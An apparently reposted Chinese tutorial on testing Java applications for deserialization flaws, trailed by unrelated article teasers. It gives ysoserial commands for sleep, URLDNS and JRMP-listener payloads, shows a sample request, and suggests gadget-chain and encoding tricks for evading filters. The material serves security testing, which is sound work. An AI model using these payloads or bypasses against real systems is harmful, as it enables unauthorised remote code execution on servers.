【Java反序列化測試】

Java反序列化測試

  • 1. 識別反序列化入口點
  • 2. 構造探測Payload
  • 3. 發送Payload并觀察結果
  • 4. 繞過可能的防護
  • 5. 自動化工具
  • 注意事項
  • 總結

Java反序列化測試:


1. 識別反序列化入口點

  • 常見入口:
    • HTTP請求參數(如POST數據、Cookie、Headers)。
    • RMI(遠程方法調用)、JMX(Java管理擴展)等Java遠程協議。
    • 文件上傳/下載功能(如序列化對象文件)。
    • 自定義二進制協議或API接口。
  • 特征識別:
    • 序列化數據通常以魔數 AC ED 00 05(十六進制)開頭,Base64編碼后為 rO0
    • 檢查請求頭或參數中是否包含類似 rO0ABQ... 的Base64字符串。

2. 構造探測Payload

方法一:觸發延遲或異常

  • 生成一個導致線程睡眠或拋出異常的Payload,觀察響應時間或錯誤信息:
    # 使用ysoserial生成CommonsCollections6的睡眠Payload(休眠10秒)
    java -jar ysoserial.jar CommonsCollections6 "sleep 10" > payload.bin
    
  • 發送Payload后,若響應延遲顯著增加,可能漏洞存在。

方法二:DNS外帶探測(推薦)

  • 生成觸發DNS查詢的Payload,驗證是否存在反序列化漏洞:
    # 使用ysoserial的URLDNS模塊(替換your.dnslog.cn)
    java -jar ysoserial.jar URLDNS "http://your.dnslog.cn" > payload.bin
    
  • 發送Payload后,檢查DNSLog平臺是否有記錄(需提前注冊DNSLog服務)。

方法三:JRMP反向探測

  • 啟動一個JRMP監聽服務(如使用ysoserial.exploit.JRMPListener):
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "命令"
    
  • 生成JRMP客戶端Payload并發送,若目標反序列化時連接你的JRMP服務,則存在漏洞。

3. 發送Payload并觀察結果

  • 編碼Payload:將生成的二進制Payload轉換為Base64或URL編碼:
    base64 -w0 payload.bin
    
  • 發送請求(示例):
    POST /vulnerable-endpoint HTTP/1.1
    Content-Type: application/x-java-serialized-object[Base64 Payload]
    
  • 工具輔助:使用Burp Suite、Postman或自定義腳本發送Payload。

4. 繞過可能的防護

  • 流量混淆:
    • 對Payload進行GZIP壓縮或附加額外字節。
    • 使用不同編碼(如Hex、Unicode)。
  • 繞過黑名單:
    • 嘗試冷門Gadget鏈(如Beanutils、ROME)。
    • 使用無依賴的Gadget(如java.util.HashSet)。

5. 自動化工具

  • Burp Suite插件:
    • Freddy:自動化檢測反序列化漏洞。
    • Serialization Scanner:掃描入口點并生成Payload。
  • 其他工具:
    • GadgetProbe:探測目標類路徑中的可用Gadget。
    • marshalsec:快速啟動JRMP/LDAP惡意服務。

注意事項

  • 謹慎執行命令:避免使用Runtime.exec等危險操作,優先用DNS/HTTP外帶驗證。
  • 環境差異:不同JDK版本和庫可能影響Gadget可用性。

總結

關鍵在于識別入口點并通過外帶通信(DNS/HTTP)或延遲特征確認漏洞。結合工具生成Payload和流量分析,可有效提高檢測成功率。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/896867.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/896867.shtml
英文地址,請注明出處:http://en.pswp.cn/news/896867.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

golang的io

https://www.bilibili.com/list/BV1gx4y1r7xb 1. 原生io包 io包是Go語言標準庫中底層的I/O接口層,定義了通用的讀寫規則和錯誤處理邏輯。每次讀寫都是直接調用底層系統 I/O,每次讀取1字節,系統調用次數多。適用于小數據量、實時性要求高。io…

【北京迅為】iTOP-RK3568OpenHarmony系統南向驅動開發-第4章 UART基礎知識

瑞芯微RK3568芯片是一款定位中高端的通用型SOC,采用22nm制程工藝,搭載一顆四核Cortex-A55處理器和Mali G52 2EE 圖形處理器。RK3568 支持4K 解碼和 1080P 編碼,支持SATA/PCIE/USB3.0 外圍接口。RK3568內置獨立NPU,可用于輕量級人工…

【計算機網絡入門】初學計算機網絡(十)(重要)

目錄 1. 網絡層的作用 2. IPV4 2.1 IP 數據報格式 2.2 IP地址分類方案 2.3 數據的轉發 2.4 特殊用途的IP地址 3. 子網劃分和子網掩碼 3.1 子網劃分 3.2 子網掩碼 1. 網絡層的作用 按照教學五層模型,應用層、傳輸層、網絡層、數據鏈路層、物理層&#xff…

機器學習(五)

一,多類(Multiclass) 多類是指輸出不止有兩個輸出標簽,想要對多個種類進行分類。 Softmax回歸算法: Softmax回歸算法是Logistic回歸在多類問題上的推廣,和線性回歸一樣,將輸入的特征與權重進行…

基于 Vue 和 SSM 的前后端分離項目實戰:登錄與注冊功能實現

文章目錄 前言項目概述前端部分(Vue)1. 項目初始化2. 頁面布局Login.vueRegister.vue 3. 路由配置4. 主組件 后端部分(SSM)1. 項目結構2. 數據庫設計3. MyBatis 配置4. DAO 層5. Service 層6. Controller 層7. 配置文件8. Spring …

Windows安裝nvm【超詳細圖解】

目錄 前言 一、NVM下載 方式一:官網下載 方式二:GitHub 下載 二、NVM安裝 鏡像源配置 三、Node安裝 四、環境變量配置 前言 NVM(Node Version Manager)是一個命令行工具,用于在一臺計算機上輕松管理和切換多…

KVM虛擬機磁盤創建探究-2

使用 virt-install 命令自動創建磁盤鏡像和使用 qemu-img 手動創建磁盤鏡像,在磁盤鏡像本身格式和基本功能上是一致的,但在一些特性如初始占用磁盤空間、創建時的可配置性等方面存在區別,下面以 QCOW2 格式磁盤鏡像為例進行詳細說明。 初始占…

京準電鐘:NTP校時服務器于安防監控系統應用方案

京準電鐘:NTP校時服務器于安防監控系統應用方案 京準電鐘:NTP校時服務器于安防監控系統應用方案 NTP校時服務器在安防監控系統中的應用方案主要通過高精度時間同步技術,解決設備間時間差異問題,確保日志、錄像等數據的時間一致性…

遞歸遍歷目錄 和 普通文件的復制 [Java EE]

遞歸遍歷目錄 首先 先列出當前目錄所包含的內容 File[] files currentDir.listFiles();if (files null || files.length 0) {// 若是空目錄或非法目錄, 則直接返回return;} 然后 遍歷列出的文件, 分情況兩種討論 for (File f: files) {// 加個日志, 方便查看程序執行情…

NO.19十六屆藍橋杯模擬賽第三期上

1 如果一個數 p 是個質數&#xff0c;同時又是整數 a 的約數&#xff0c;則 p 稱為 a 的一個質因數。 請問&#xff0c; 2024 的最大的質因數是多少&#xff1f; 答&#xff1a;23 #include <bits/stdc.h> using namespace std;int main() {ios::sync_with_stdio(false)…

Linux網絡_應用層自定義協議與序列化_守護進程

一.協議 協議是一種 "約定". socket api 的接口, 在讀寫數據時, 都是按 "字符串" 的方式來發送接 收的. 如果我們要傳輸一些 "結構化的數據" 怎么辦呢? 其實&#xff0c;協議就是雙方約定好的結構化的數據 像下面&#xff0c;兩端都知道數據結構…

SQL命令詳解之多表查詢(連接查詢)

目錄 1 簡介 2 內連接查詢 2.1 內連接語法 2.2 內連接練習 3 外連接查詢 3.1 外連接語法 3.2 外連接練習 4 總結 1 簡介 連接的本質就是把各個表中的記錄都取出來依次匹配的組合加入結果集并返回給用戶。我們把 t1 和 t2 兩個表連接起來的過程如下圖所示&#xff1a; …

001-碼云操作

碼云操作 一、配置公鑰1.官網地址1.進入 git bash2.查看生成的公鑰3.設置到 Gitee4.測試 二、初始化一個項目1.新建倉庫 一、配置公鑰 方便后續提交代碼不用填寫密碼 1.官網地址 官網地址&#xff1a;https://gitee.com/Git碼云教程&#xff1a;https://gitee.com/help/arti…

30.[前端開發-JavaScript基礎]Day07-數組Array-高階函數-日期Date-DOM

JavaScript的DOM操作 &#xff08;一&#xff09; 1 什么是DOM&#xff1f; 認識DOM和BOM 深入理解DOM 2 認識DOM Tree DOM Tree的理解 3 DOM的整體結構 DOM的學習順序 DOM的繼承關系圖 document對象 4 節點、元素導航 節點&#xff08;Node&#xff09;之間的導航&…

【自學筆記】Spring基礎知識點總覽-持續更新

提示&#xff1a;文章寫完后&#xff0c;目錄可以自動生成&#xff0c;如何生成可參考右邊的幫助文檔 文章目錄 Spring 基礎知識點總覽1. Spring 框架簡介2. IoC&#xff08;控制反轉&#xff09;與 DI&#xff08;依賴注入&#xff09;2.1 IoC 容器2.2 依賴注入方式示例代碼&a…

WordPress多語言插件GTranslate

GTranslate是一個免費的WordPress多語言插件&#xff0c;它允許您將網站內容翻譯成多種語言。這個插件提供了一個簡單易用的界面&#xff0c;讓您可以在WordPress后臺直接進行翻譯操作。以下是GTranslate插件的一些主要特點&#xff1a; 免費使用&#xff1a;GTranslate插件完…

數列極限入門習題

數列極限入門習題 lim ? n → ∞ ( 1 1 2 1 3 ? 1 n ) 1 n \lim\limits_{n\rightarrow\infty}(1 \frac{1}{2}\frac{1}{3}\cdots\frac{1}{n})^{\frac{1}{n}} n→∞lim?(121?31??n1?)n1? lim ? n → ∞ ( 1 n 1 1 n 2 ? 1 n n ) \lim\limits_{n\rightarrow\…

嵌入式學習前要了解的基礎知識

一、電壓和電流 在嵌入式開發中&#xff0c;電壓和電流是兩個基本的電氣概念&#xff0c;對于理解和設計電子電路至關重要。它們直接影響到嵌入式系統的性能、功耗、可靠性和安全性。 電壓&#xff08;Voltage&#xff09; 電壓是電場力推動電荷移動的能力&#xff0c;通常以…

機器學習:強化學習的epsilon貪心算法

強化學習&#xff08;Reinforcement Learning, RL&#xff09;是一種機器學習方法&#xff0c;旨在通過與環境交互&#xff0c;使智能體&#xff08;Agent&#xff09;學習如何采取最優行動&#xff0c;以最大化某種累積獎勵。它與監督學習和無監督學習不同&#xff0c;強調試錯…

Spring學習筆記03——Spring Boot的文件結構

Spring boot常見的文件結構&#xff1a; src/ ├── main/ │ ├── java/ │ │ └── com.example.demo/ │ │ ├── DemoApplication.java # 主入口 │ │ ├── config/ # 配置類 │ │ ├── controller/ …